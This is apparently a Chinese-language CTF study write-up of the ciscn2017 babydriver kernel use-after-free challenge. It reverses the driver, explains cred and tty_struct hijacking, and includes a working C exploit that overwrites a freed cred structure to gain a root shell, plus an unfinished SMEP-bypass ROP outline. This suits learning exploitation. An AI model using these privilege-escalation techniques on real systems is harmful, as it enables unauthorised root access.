kernel-3-UAF

内核漏洞学习之——UAF漏洞
这次的学习主要基于CTF-wiki以及网上的一些教程

ciscn2017 babydriver

看文件系统启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 0 sh

umount /proc
umount /sys
poweroff -d 0 -f

注意看第12行,insmod表示加载某个驱动,这个驱动应该就是有问题的。

找到上面驱动路径,查看一下驱动是否有保护,发现是没有canary,那说明可能是溢出

1
2
3
4
5
6
[*] 
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

注意到启动脚本里面有kvm,这是一个内核配置。如果我们在vmware里面做题,需要右键虚拟机>设置>处理器 设置为如下内容。处理器数量和内核数量有一个大于1即可。

image-20220131132635979

也参考了此链接,设置了modules.conf的内容。但是没用;到bios里面找kvm,发现也没有。最后在vmware里面设置,之后成功。

逆向.ko文件

先找到ioctl函数,这是我们和驱动交互的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx
__int64 result; // rax

_fentry__(filp, command, arg);
v4 = v3;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 37748928LL, v5);
result = 0LL;
}
else
{
printk(&unk_2EB, v3, v3);
result = -22LL;
}
return result;

发现驱动主要做两件事情,malloc和print。其中malloc时会先free掉之前分配的驱动空间,但是没有对指针清空,可能导致UAF。而且kmalloc和kfree实现起来和用户态也有很大不同,源码这篇文章有解析所以不能直接用。

babyopen主要申请了一块大小为0x40字节的内存,并将地址存在babydev_struct.device_buf

1
2
3
4
5
6
7
8
9
10
11
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx
__int64 v3; // rdx

_fentry__(inode, (_DWORD)filp, v2);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 37748928LL, v3);
return 0;
}

babywrite

工作主要是将用户的输入复制到之前open生成的buf中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer, length, offset);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}

babyread

babyread做了几乎相同的工作,把buf中的内容返还给用户,输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer, length, offset);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}

上面的反编译有些问题,主要是copy_from_user和copy_to_user。这里在IDA里面用y修改函数签名就可以了。

思路-劫持cred结构体

没有传统的溢出。但是存在一个伪条件竞争引发的 UAF 漏洞。什么意思呢?

注意观察这里全局结构体是唯一确定的,如果上一个进程释放了某个结构体,但是下一个进程启动的时候正好还需要新空间来储存某些数据(无论是内核结构体还是用户结构体),那么这一块空间就会给到下一个进程。如果正好被分配到cred结构体中,我们就可以利用没有被清空的指针对进程的权限做任意的操作了。其关键结构体就是cred结构体。cred结构体是一个专门用来管理进程权限的结构体。可想而知其重要性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;

cred结构体源码在这里

上图中uidgid等表示进程所在权限组。将他们设置为0表示进程权限组为root,可以执行root命令。因此,只需要将cred结构体中gid等内容设置为0,之后利用此进程启动一个system(“/bin/sh”),就能拿到一个用户态的root shell

这里程序开了semp,在内核中我们不能直接执行用户态代码。因此commit_creds(prepare_creds(0))不能直接调用。如果没有开,也可以使用这条语句获得shell。

cred结构体大小如何确定?

ctf-wiki上面提到直接看源码计算。但是源码也不太好找。这里比较简单的方式是链接中的方法,自己先编写一个能够打印cred结构体长度的driver,放到kernel中让他输出就可以了。但是这也需要下载linux源码并编译内核,需要很长的时间和内存。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);

ioctl(fd1,0x10001,0xa8); // mmap a space for fd1
close(fd1); // release the space, but pointer will still exist in fd2

int pid = fork();
if(pid<0)
{
write(1,"fork error\n",12);
}
if(pid != 0) // father process
{
wait(pid);
close(fd2);
}
else // child process
{
// rewrite the struct
char payload[30] = {0};
write(fd2,payload,30); // 长度为30的确定方法:记住或者看源码数据类型即可

// check group
if(getuid() == 0)
{
puts("[+] rooted");
system("/bin/sh");
exit(0); // control never reaches here
}
}
return 0;
}

image-20220131140225163

思路-劫持tty结构体

基本的漏洞点还是UAF,但是除了劫持cred结构体,这里还有一个新的思路就是劫持tty结构体。这里主要参考安全客关于tty和cred结构体的解释和利用方法,结合这位师傅的博客以及这篇文章学习的。事实上,在linux4.5之后,cred的结构体内存和一般程序分配的内存将被分开储存,因此用户不会直接分配得到该结构,从而cred复用的这一条路就被堵死了。

这里给出一个新思路:劫持tty设备的函数指针

/dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,与其他类型设备相同,tty驱动设备中同样存在着一个存放着函数指针的结构体 tty_operations。这个设备的执行过程可以大致描述为:telnetd进程收到网络中的数据后,将数据丢给ptmx,ptmx像管道一样将数据丢给pts/?,getty进程从pts/?读取数据传递给shell去执行。(参考这篇文章:ptmx)

注意到tty_struct也是kmalloc申请出来的一段内存。分配过程如下。其中tty_struct大小为0x2e0

1
2
3
4
5
6
7
8
9
10
struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
struct tty_struct *tty;

tty = kzalloc(sizeof(*tty), GFP_KERNEL); // 分配发生,size = 0x2e0。就是包了一层kmalloc
if (!tty)
return NULL;
// 此处省略对tty的初始化工作
return tty;
}

其中tty_struct结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;


// **********重要**********
const struct tty_operations *ops; // tty_operations结构体


int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

注意到其中的operations结构体非常重要。他其实是一系列函数指针,如下所示。(也可以理解为就是tty操纵一些文件的方式)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

那么,劫持这个tty_operations结构体,就可能可以实现控制执行流。注意这个栈的ROP链存在于用户栈上,由于内核没有开启SMAP保护,故内核可以访问用户空间的数据(SMEP保护是禁止内核执行用户空间的代码,这里开启了,所以不能执行用户空间代码)这一部分内容后面补上。

smep

之前说到smep保护,那么内核是怎么知道smep开启的?答案在cr4寄存器也就是和pcb紧密相关的进程控制寄存器中。

cr4

第20位记录了是否开启smep。1时标志保护开启,0时表示保护关闭。通过以下代码可以修改cr4寄存器的值。注意: 该寄存器的值无法通过gdb直接查看,只能通过kernel crash时产生的信息查看

1
mov cr4,0x6f0 ;   0000 0000 0110 1111 0000

我们可以通过劫持tty_struct中write函数实现getshell。下面简单写一下思路。

  1. UAF得到一个和tty结构体一样大的dangling指针,使得后续可以UAF
  2. 修改指针中的数据(尤其是tty_structtty_operation中write)为我们的ROP chain(该chain所做的工作主要是替换cr0寄存器smep位置,之后执行system即可。)
  3. 调用/dev/tty触发write的ROP。

但是ROP的前提是我们能控制到栈,在write的时候是没法写栈的,一般而言要通过类似xchg rax, rsp来修改rsp从而控制栈。我们调试一下在调用babyread时候的栈。使用以下代码

1
add-symbol-file ./babydriver.ko 0xffffffffc0000000 # z

参考链接

https://www.anquanke.com/post/id/86490

https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/uaf/#ciscn2017-babydriver

https://www.anquanke.com/post/id/259252

https://xz.aliyun.com/t/5847

文章目录
  1. 1. ciscn2017 babydriver
    1. 1.1. 看文件系统启动脚本
    2. 1.2. 逆向.ko文件
    3. 1.3. 思路-劫持cred结构体
      1. 1.3.1. exp
    4. 1.4. 思路-劫持tty结构体
      1. 1.4.1. smep
    5. 1.5. 参考链接
|